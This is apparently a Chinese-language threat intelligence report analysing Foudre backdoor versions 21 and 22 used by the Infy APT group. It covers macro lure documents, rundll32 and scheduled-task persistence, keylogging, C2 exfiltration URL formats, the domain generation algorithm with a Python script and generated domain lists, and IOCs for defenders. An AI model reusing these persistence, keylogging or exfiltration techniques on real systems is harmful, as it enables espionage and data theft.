美人魚(Infy)APT組織的歸來——使用最新的Foudre後門進行攻擊活動的分析

Gcow安全團隊發表於2020-11-02

美人魚(Infy)APT組織的歸來——使用最新的Foudre後門進行攻擊活動的分析

本文一共4127字,56張圖 預計閱讀時間13分鐘

封面

0x00.前言

美人魚(又稱infy,Prince of Persia,Foudre)APT組織其主要針對政府機構進行攻擊活動,由unit42以及360威脅情報中心首先於2016年5月進行披露,其最早的攻擊活動可以追溯到2010年,並且期間一直沒有長時間的間斷.該組織背後的來源為中東地區.其使用的後門由於其C2的請求中帶有infy的路徑,故此被名為infy後門,在2017年,unit42釋出報告披露了其使用了更新的後門,名為Foudre。不過其單獨披露了版本1和版本2的後門。在2018年,Intezerlab釋出報告披露了關於Foudre後門的第八版本.在本次的攻擊活動中,我們發現了其使用的第21版本第22版本

 

本次發現的攻擊活動中,Gcow安全團隊追影小組以及微步情報局共同發現並且分析了該活動,其使用了帶有惡意宏的文件並且使用了新版本的Foudre後門,其更新了後門的一些操作.同時保留了相關的域生成演算法以及部分C2的請求引數具有一定的重合度.並且介於其一直透過在文件中嵌入ole物件透過社工的方式誘導受害者執行使用帶有惡意宏提取嵌入的ole物件並且執行的方式釋放並執行其打包WinSFX文件以執行相應的Foudre後門,故此撰寫本報告以便於看官對該組織更加的瞭解

 

根據樣本的針對性我們判斷其很可能屬於中東的威脅演員,並且很大機率屬於伊朗

0x01.樣本分析

樣本為doc文件,誘餌文件中的內容由波斯語的圖片組成,帶有宏程式碼,執行後程式鏈無其他新程式產生

 

圖片1 文件內容截圖

 

圖片2 文字內容截圖

 

圖片3 文字內容翻譯

 

文件中插入了幾張InlineShape的圖片

 

圖片4 嵌入的InlineShape的圖片

 

宏程式碼執行時,遍歷插入的幾張圖片,遍歷到Type屬性為“wdInlineShapeEmbeddedOLEObject”的圖片

 

圖片5 宏程式碼提取相應屬性圖片

 

拼接出路徑,根據版本不同釋放到"C:\\Users\\sam\\AppData\\Local\\Temp\\upxuppos\\fwupdate.tmp"或"C:\\Users\\sam\\AppData\\Local\\Temp\\fwupdate.tmp",並將.tmp字尾修改為.temp

 

圖片6 根據不同版本釋放惡意ole物件並且修改其字尾

 

利用range.copy將圖片複製到剪貼簿,利用Shell.Applocation執行,在文件關閉時,樣本會使用策略繞過Avast執行檔案,然後清除掉貼上板中的內容

 

圖片7 使用shell執行釋放的惡意ole物件

fwupdate.tmp

fwupdate.tmp為一個自解壓程式,壓縮包大小僅為900K,解壓後的檔案200MB+,檔案內容中含有大量重複內容

 

壓縮包呼叫rundll32載入dll

 

圖片8 自解壓命令

conf4389.dll

從1-110數字中取隨機數,取出後根據隨機數隨機取出一個DLL名稱

 

圖片9 取隨機數並且獲取dll名稱

 

DLL名稱由樣本寫在記憶體中

 

圖片10 dll檔名稱

 

列表共計110行,全部取出後整理得下表,全都為系統白dll名稱

"ActivationManager"
"ActiveSyncProvider"
"AdaptiveCards"
"ACPBackgroundManagerPolicy"
"APHostService"
"ApiSetHost.AppExecutionAlias"
"AppidPolicyConverter"
"AppIdPolicyEngineApi"
"ApplicationControlCSP"
"ApplicationFrame"
"ApplicationFrameHost"
"ApplySettingsTemplateCatalog"
"AppManagementConfiguration"
"AppointmentActivation"
"AppointmentApis"
"AppvClientEventLog"
"AppVEntStreamingManager"
"AppVEntSubsystems64"
"AppVEntVirtualization"
"AppVFileSystemMetadata"
"AppVIntegration"
"AppVManifest"
"AppVSentinel"
"AppVStreamingUX"
"AppVStreamMap"
"AppxApplicabilityEngine"
"AppXDeploymentClient"
"AppxPackaging"
"AssignedAccessManager"
"AssignedAccessRuntime"
"AuditPolicyGPInterop"
"AuthFWSnapin"
"AzureSettingSyncProvider"
"BackgroundMediaPolicy"
"BthAvrcpAppSvc"
"BthMtpContextHandler"
"BWContextHandler"
"CapabilityAccessHandlers"
"CapabilityAccessManager"
"CapabilityAccessManagerClient"
"CashDrawerProtocolProvider"
"CloudExperienceHost"
"CloudExperienceHostBroker"
"CloudExperienceHostCommon"
"CloudExperienceHostUser"
"ComposerFramework"
"ComputeStorage"
"ConfigureExpandedStorage"
"ConsentExperienceCommon"
"CoreShellExtFramework"
"CoreUIComponents"
"CourtesyEngine"
"DataUsageHandlers"
"DavSyncProvider"
"DdcComImplementationsDesktop"
"DeveloperOptionsSettingsHandlers"
"DeviceCredential"
"DeviceDirectoryClient"
"DeviceFlows.DataModel"
"DeviceMetadataRetrievalClient"
"DevicePairingExperienceMEM"
"DeviceSetupStatusProvider"
"DevicesFlowBroker"
"DiagnosticsHub.Packaging"
"DictationManager"
"DispBroker.Desktop"
"DmApiSetExtImplDesktop"
"Docking.VirtualInput"
"EAMProgressHandler"
"EasPolicyManagerBrokerPS"
"EditionUpgradeManagerObj"
"EnterpriseAppMgmtSvc"
"EnterpriseAppMgmtClient"
"EnterpriseDesktopAppMgmtCSP"
"EnterpriseModernAppMgmtCSP"
"ETWCoreUIComponentsResources"
"FaceBootstrapAdapter"
"FlashUtil_ActiveX"
"GenericProvider"
"HolographicExtensions"
"HolographicRuntimes"
"IndexedDbLegacy"
"IpNatHlpClient"
"KeywordDetectorMsftSidAdapter"
"LangCleanupSysprepAction"
"LanguageComponentsInstaller"
"LanguageOverlayServer"
"LanguageOverlayUtil"
"LanguagePackDiskCleanup"
"LicensingWinRT"
"LicensingDiagSpp"
"LocationFrameworkInternalPS"
"MapControlStringsRes"
"MapsMigPlugin"
"MCCSEngineShared"
"MediaFoundation.DefaultPerceptionProvider"
"MessagingDataModel2"
"MetroIntelGenericUIFramework"
"MFCaptureEngine"
"MiracastInputMgr"
"MitigationConfiguration"
"MixedRealityCapture.Pipeline"
"MixedRealityRuntime"
"MSAProfileNotificationHandler"
"MsSpellCheckingFacility"
"MTFSpellcheckDS"
"NetCellcoreCellManagerProviderResources"
"NetEventPacketCapture"
"NetworkBindingEngineMigPlugin"
"NFCProvisioningPlugin"

本次生成的是AuthFWSnapin.dll,在執行的時候其會從中隨機抽選

 

將一同釋放出的d488移動到C:\\ProgramData目錄下命名為"AuthFWSnapin.dll"並設定為"NORMAL"屬性

 

圖片11 移動d488

 

建立計劃任務,在每次登陸時執行

 

圖片12 初始化計劃任務xml

 

圖片13 使用schtask載入xml註冊服務

AuthFWSnapin.dll

透過利用Rundll32.exe載入Shell32.dll,在DLL中main函式內再利用Rundll32.exe載入執行“f8757”匯出函式

 

圖片14 使用rundll32.exe載入匯出函式f8757

 

檢測視窗"NRV3B19"

 

圖片15 檢測視窗NRV3B19

 

樣本中還會將一串UNICODE字串複製到變數中,但在執行過程中不知道有何用處

 

圖片16 複製一串字串到變數

 

圖片17 這段unicode字元的翻譯

 

從登錄檔"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders"下APPDATA查詢到%APPDATA%路徑

 

圖片18 透過登錄檔獲取AppData的路徑-1

 

圖片19 透過登錄檔獲取AppData路徑-2

 

檢查%APPDATA%是否存在,不存在則建立,然後在%APPDATA%下拼接出樣本要釋放的檔案路徑

 

圖片20 檢查AppData是否存在以及拼接路徑

 

獲取API地址

 

圖片21 獲取API地址

 

遍歷程式,查詢程式“dfserv.exe

 

圖片22 查詢程式dfserv.exe

 

註冊了一個視窗類,類名為“NRV3B91”,並建立一個視窗"Form100022",使用名為"Form100022"的視窗進行鍵盤記錄

 

圖片23 註冊視窗類NRV3B91

 

圖片24 建立視窗並進行鍵盤記錄

 

獲取到HTTPUser-AgentGoogle域名

 

圖片25 獲取Google域名的User-Agent

 

獲取到本機的計算機名、使用者名稱、IP地址資訊

 

 

建立兩個定時器,一個每隔10S讀取一次剪貼簿內容,一個每隔300s連結C2傳送竊取的資訊

 

圖片27 設定定時器用於讀取剪下板內容以及向C2傳送資訊

 

%APPDATA%目錄下建立config.xml用作“Project INI”,存放一串數字ID

 

圖片28 寫入數字ID於config.xml下

 

Google建立連結,查詢狀態碼是否為200

 

圖片29 對Google請求判斷其狀態碼

 

連結成功後,在%temp%目錄下建立一個“tempupd6.exe”,向其中寫入的內容為HTTP請求返回的內容,寫入之後很快又將檔案刪除了

 

圖片30 向臨時目錄下寫tempupd6.exe並刪除

 

域名使用生成演算法生成

ToHex(CRC32("NRV1" + 年 + 月 + 周號)) + (".space"|".net"|".top"|".dynu.net")

使用lockbox3 Delphi庫來驗證C2,從C2下載簽名檔案:

http://[Domain]/de/?d=2020301&v=00022&t=2020%2D10%2D27%2D%2D15%2D47%2D28

其中d 代表 {year} {自年初以來的天數} t 代表 當前時間

 

下載的簽名檔案%appdata%\\sig.tmp使用公鑰解密後與明文%appdata%\\dom.tmp比較是否相對應

 

圖片31 使用公鑰解密下載的簽名檔案

 

當生成的域名連結不成功時,嘗試生成其他域名進行重試

 

圖片32 使用多種字尾的域名進行請求

 

驗證C2後,與C2通訊傳送請求檢查更新

http://<C2domain>/2014/?c=<計算機名>&u=<使用者名稱>&v =<版本>&s =<密碼>&f=<資料夾>&mi=<machineguid_urlencoded>&b=<32/64bit>&t=<time_urlencoded>

圖片33 與C2通訊檢查更新

 

將更新下載回的木馬儲存在%temp%\\tempupd6.exe

 

圖片34 將更新下載的木馬存在臨時目錄下的tempupd6.exe中

 

更新木馬下載成功後會再次下載簽名檔案進行驗證,儲存在%temp%\\gtsdci32.tmp

http://<C2domain>/2015/?c=<計算機名>&u=<使用者名稱>&v=<版本>&s=<密碼>&f=<資料夾>&mi=<machineguid_urlencoded>&b=<32/64bit>&t=<time_urlencoded>

圖片35 向C2請求驗證其下載的更新檔案

 

驗證成功後,使用WinExec函式執行新下載回來的木馬檔案

 

圖片36 驗證成功後使用winexec執行木馬檔案

 

還會向C2傳回加密後的鍵盤記錄情況

http://<C2domain>/en/d=<date>,text=<data>

後續的載荷並沒有下載下來故此不能繼續分析

 

上文中我們根據其C2通訊的特徵將其命名為V22

 

此外我們還發現了另外一個與之有相似宏程式碼的惡意文件,根據與C2通訊的特徵將版本命名為V21

 

V21樣本中誘餌使用的文件截圖:

 

圖片37 FoudreV21版本後門文件截圖

 

誘餌文件為帶有宏程式碼的惡意文件,文件中的內容為波斯語

 

圖片38 誘餌文件內容翻譯

 

與前面的樣本一樣,插入的圖片同樣是InlineShape屬性,將其釋放到%temp%目錄下並呼叫Shell執行,釋放的是一個自解壓檔案

 

圖片39 釋放的自解壓文件EZUpdate.tmp

EZUpdate.tmp

EZUpdate.tmp是一個自解壓檔案,其中包含一個.bmp檔案,一個.dll檔案,一個d3d9

 

執行的命令列為:Setup=rundll32.exe conf3234.dll f8753 d948

 

圖片40 自解壓命令

conf3234.dll

在conf3234.dll中也有一段意義不明的字串

 

圖片40 內建的意義不明字串

 

透過文件內容來看,該樣本可能於2020/07/29號後進行編譯的

 

查詢視窗"NRV3B19","NRV3B19"是樣本最後一階段註冊的視窗類

 

圖片41 查詢視窗NRV3B19

 

修改登錄檔,在HKEY_CURRENT_USER\\Software\\temp下寫入一個名為“ran2”的登錄檔,登錄檔內DLL名稱為上文所提及生成的

 

圖片42 將生成額dll名稱寫入登錄檔

 

查詢C:\\Programdata是否存在,不存在則建立

 

圖片43 檢查路徑是否㛮

 

將最初同一個壓縮包的d389移動到C:\\ProgramData\\下,檔名為登錄檔內寫入的DLL名

 

圖片44 移動d389

 

建立計劃任務,實現持久化,自啟的方式依然是利用Rundll32呼叫Shell32.dll的函式執行DLL中的main函式,在main函式中再利用Rundll32呼叫匯出函式

 

圖片45 初始化計劃任務xml

 

圖片46 使用schtask註冊計劃任務

AppxApplicabilityEngine.dll

圖片47 執行f8755函式

 

檢測引數"1281020996"

 

圖片48 檢測引數

 

註冊視窗類“NRV3B19”,並建立一個視窗"Form100021",使用名為"Form100021"的視窗進行鍵盤記錄,與V22版本不同,V22的視窗為"Form100022",樣本習慣使用版本號作為視窗名稱的結尾

 

圖片49 註冊視窗類NRV3B19

 

圖片50 建立視窗以進行鍵盤記錄

 

V21中的域名生成演算法與V22版本相同,使用的域名也相同

 

域名演算法中依然由"NRV1"+年+月+周組成

 

圖片51 C2域名生成

 

生成的域名和V22版本樣本相同,字尾依然為".space,“.net",".top",".dynu.net"

 

圖片52 與上文一樣出現的字尾

 

兩次樣本用來解密從C2獲得的簽名檔案的金鑰也相同

 

圖片53 解密驗證檔案的私鑰

 

兩版本樣本功能幾乎一致,唯一的不同點在於版本號不同,而沒有發現其餘功能的更新

 

同時為了方便各位看官理解,我們繪製了該類樣本的流程圖

 

圖片54 Foudre後門v21V22版本執行流程圖

0x02.樣本相似以及技術演進

1.樣本相似

(1).域名生成演算法的相關

從之前的樣本去看,從第一版本第22版本都使用了相關的域名生成演算法,其中以第八版本為一個分界線

 

第八版本之前使用瞭如下的C2域名生成演算法:

ToHex(CRC32(“NRV1” + 年 + 月 + 周號)) + (“.space”|”.net”|”.top”)

第八版本使用瞭如下的C2域名生成演算法:

ToHex(CRC32(“NRTV1” + 年 + 月 + 周號)) + (“.space”|”.net”|”.top”|”.dynu.net”)

而本次活動披露的第21版本第22版本則使用了老的域名生成演算法進行生成,同時擴充了新的字尾

ToHex(CRC32("NRV1" + 年 + 月 + 周號)) + (".space"|".net"|".top"|".dynu.net")

在V21與V22版本中更新了新增了驗證C2的功能,猜測可能因為之前有安全公司透過演算法得到域名後搶在駭客組織前提前搶注了域名

 

所以導致攻擊者新增了驗證的環節

(2).C&C報文的URL路徑

該組織並沒有去費周折修改其樣本的C&C的請求報文

http://<C2domain>/2014/?c=<計算機名>&u=<使用者名稱>&v =<版本>&s =<密碼>&f=<資料夾>&mi=<machineguid_urlencoded>&b=<32/64bit>&t=<time_urlencoded>

http://<C2domain>/2015/?c=<計算機名>&u=<使用者名稱>&v=<版本>&s=<密碼>&f=<資料夾>&mi=<machineguid_urlencoded>&b=<32/64bit>&t=<time_urlencoded>

2.樣本技術演進

(1).初始植入物的演變

其使用的植入物在前期版本以向PPT檔案嵌入多個ole以誘導受害人點選,以及使用可能的水坑攻擊,並且使用直接投遞偽裝成相關誘餌檔案的sfx文件進行投遞.在本次捕獲的樣本中主要涉及到使用惡意宏文件進行投遞.不過不排除還有其他攻擊手段的可能性(注意:不是準確結論,僅為部分猜測)

 

(2).持久化方式的演進

圖片56 持久化方式演進

0x03.處置建議

刪除檔案

%Temp%\EZUpdate.tmp

 

%Temp%\tmp1375\d948

 

%Temp%\tmp1375\conf3234.dll

 

%Temp%\tmp1375\61Dk5U6TjDL.bmp

 

%AppData%\fwupdate.tmp

 

%AppData%\tmp6073\conf4389.dll

 

%AppData%\tmp6073\d488

 

%Appdata%\config.xml

 

%Temp%\gtsdci32.tmp

 

%AppData%\sig.tmp

 

%AppData%\dom.tmp

 

%Temp%\tempupd6.exe

 

%Temp%\sduchxll.tmp

0x04.IOCs

MD5

2C111A27D0D9D48E9470264B4C16B472

 

d497e0332e88341bd5ddbaa326cab977

 

4381a0c76f2bff772063e6cc6a1ac876

 

DC14F029EFA635D5922012904E162808

 

8b8e286f64a4635e12d6d728a5669d51

 

916e3d4c5835380c99efa802ddb4436d

 

BE11401B723EC4F20BE8D65C04A8003E

 

1a46bd6385feae53a6b8aed758e16556

C2

Generating domains for: 2020-10-20 17:19:39.397000 - 2020-12-29 17:19:39.397000.
Each domain can have .space, .net,.dynu.net or .top as TLD (top level domain).

  1. 2020-10-20 17:19:39.397000 - Week Number: 43
    e00be33d.space
    db54a845.space
    425df9ff.space
    355ac969.space
    ab3e5cca.space
    dc396c5c.space
    45303de6.space
    32370d70.space
    a28810e1.space
    d58f2077.space
    f2b63e96.space
    85b10e00.space
    1cb85fba.space
    6bbf6f2c.space
    f5dbfa8f.space
    82dcca19.space
    1bd59ba3.space
    6cd2ab35.space
    fc6db6a4.space
    8b6a8632.space

  2. 2020-10-27 17:19:39.397000 - Week Number: 44
    7e6f769e.space
    94153e82.space
    0d1c6f38.space
    7a1b5fae.space
    e47fca0d.space
    9378fa9b.space
    0a71ab21.space
    7d769bb7.space
    edc98626.space
    9aceb6b0.space
    f7f92813.space
    80fe1885.space
    19f7493f.space
    6ef079a9.space
    f094ec0a.space
    8793dc9c.space
    1e9a8d26.space
    699dbdb0.space
    f922a021.space
    8e2590b7.space

  3. 2020-11-03 17:19:39.397000 - Week Number: 45
    08aa2c3f.space
    35b268a6.space
    acbb391c.space
    dbbc098a.space
    45d89c29.space
    32dfacbf.space
    abd6fd05.space
    dcd1cd93.space
    4c6ed002.space
    3b69e094.space
    cb5b6b94.space
    bc5c5b02.space
    25550ab8.space
    52523a2e.space
    cc36af8d.space
    bb319f1b.space
    2238cea1.space
    553ffe37.space
    c580e3a6.space
    b287d330.space

  4. 2020-11-10 17:19:39.397000 - Week Number: 46
    91a37d85.space
    1e9f3b65.space
    87966adf.space
    f0915a49.space
    6ef5cfea.space
    19f2ff7c.space
    80fbaec6.space
    f7fc9e50.space
    674383c1.space
    1044b357.space
    c91dd5cd.space
    be1ae55b.space
    2713b4e1.space
    50148477.space
    ce7011d4.space
    b9772142.space
    207e70f8.space
    5779406e.space
    c7c65dff.space
    b0c16d69.space

  5. 2020-11-17 17:19:39.397000 - Week Number: 47
    e6a44d13.space
    07840a24.space
    9e8d5b9e.space
    e98a6b08.space
    77eefeab.space
    00e9ce3d.space
    99e09f87.space
    eee7af11.space
    7e58b280.space
    095f8216.space
    c8dfbffa.space
    bfd88f6c.space
    26d1ded6.space
    51d6ee40.space
    cfb27be3.space
    b8b54b75.space
    21bc1acf.space
    56bb2a59.space
    c60437c8.space
    b103075e.space

  6. 2020-11-24 17:19:39.397000 - Week Number: 48
    761b5082.space
    801c16eb.space
    19154751.space
    6e1277c7.space
    f076e264.space
    8771d2f2.space
    1e788348.space
    697fb3de.space
    f9c0ae4f.space
    8ec79ed9.space
    c383f8c7.space
    b484c851.space
    2d8d99eb.space
    5a8aa97d.space
    c4ee3cde.space
    b3e90c48.space
    2ae05df2.space
    5de76d64.space
    cd5870f5.space
    ba5f4063.space

  7. 2020-12-01 17:19:39.397000 - Week Number: 49
    035ade4d.space
    8bb28844.space
    12bbd9fe.space
    65bce968.space
    fbd87ccb.space
    8cdf4c5d.space
    15d61de7.space
    62d12d71.space
    f26e30e0.space
    85690076.space
    85e1e820.space
    f2e6d8b6.space
    6bef890c.space
    1ce8b99a.space
    828c2c39.space
    f58b1caf.space
    6c824d15.space
    1b857d83.space
    8b3a6012.space
    fc3d5084.space

  8. 2020-12-08 17:19:39.397000 - Week Number: 50
    639d57a8.space
    5bb2593a.space
    c2bb0880.space
    b5bc3816.space
    2bd8adb5.space
    5cdf9d23.space
    c5d6cc99.space
    b2d1fc0f.space
    226ee19e.space
    5569d108.space
    328cb4ca.space
    458b845c.space
    dc82d5e6.space
    ab85e570.space
    35e170d3.space
    42e64045.space
    dbef11ff.space
    ace82169.space
    3c573cf8.space
    4b500c6e.space

  9. 2020-12-15 17:19:39.397000 - Week Number: 51
    149a673e.space
    42a9687b.space
    dba039c1.space
    aca70957.space
    32c39cf4.space
    45c4ac62.space
    dccdfdd8.space
    abcacd4e.space
    3b75d0df.space
    4c72e049.space
    334edefd.space
    4449ee6b.space
    dd40bfd1.space
    aa478f47.space
    34231ae4.space
    43242a72.space
    da2d7bc8.space
    ad2a4b5e.space
    3d9556cf.space
    4a926659.space

  10. 2020-12-22 17:19:39.397000 - Week Number: 52
    8d933684.space
    69843bb8.space
    f08d6a02.space
    878a5a94.space
    19eecf37.space
    6ee9ffa1.space
    f7e0ae1b.space
    80e79e8d.space
    1058831c.space
    675fb38a.space
    310860a4.space
    460f5032.space
    df060188.space
    a801311e.space
    3665a4bd.space
    4162942b.space
    d86bc591.space
    af6cf507.space
    3fd3e896.space
    48d4d800.space

0x05.附錄

參考連結:

https://www.intezer.com/blog/research/prince-of-persia-the-sands-of-foudre/

 

https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/

 

http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/

 

http://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/

 

https://unit42.paloaltonetworks.com/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/

 

https://www.freebuf.com/articles/network/105726.html

域名生成指令碼

基於Esmid idrizovic的指令碼進行修改:

import binascii
import datetime
amp = 0xffffffff
def getHostCRC(input):
    crc = binascii.crc32(input) &amp; 0xffffffff
    host = "{:08x}".format(int(crc))
    return host
def getDomains(date):
    domains = [".space"]
    results = []
    weeknumber = date.isocalendar()[1]
    s = "NRV1{}{}{}".format(date.year, date.month, weeknumber)
    hostname = s
    host = getHostCRC(hostname) + domains[0]
    results.append(host)
    for d in domains:
        for i in range(1, 101):
            hostname = s + str(i)
            host = getHostCRC(hostname) + d
            results.append(host)
    return results

def getDomainsForNextWeeks(number_of_weeks):
    date = datetime.datetime.now()
    date -= datetime.timedelta(days=7)
    n = 1
    date_to = date + datetime.timedelta(days=7*number_of_weeks)
    print "Generating domains for: {} - {}.\nEach domain can have .space, .net or .top as TLD (top level domain).\n\n".format(date, date_to)

    for i in range(number_of_weeks):
        tmp = getDomains(date)
        top_domains = tmp[:20]
        weeknumber = date.isocalendar()[1]
        print "{}. {} - Week Number: {}".format(n, date, weeknumber)
        for domain in top_domains:
            print "{}".format(domain)
        date += datetime.timedelta(days=7)
        n = n + 1
        print ""
getDomainsForNextWeeks(10)

0x06.結語

美人魚(Infy) APT組織是一個活動持續將近10年的組織,其水平不高也不算低.其不斷改變手法以逃避安全人員的追查,同時該組織在其惡意樣本的編寫中逐漸嘗試減少特徵,並且在編寫過程中使用暫存器傳遞引數的方式加大安全分析人員分析的難度以及歸屬的難度.並且很有意思的一點,該組織喜歡在其樣本中新增最近新聞中的資訊,目的不明,猜測可能旨在標記時間

相關文章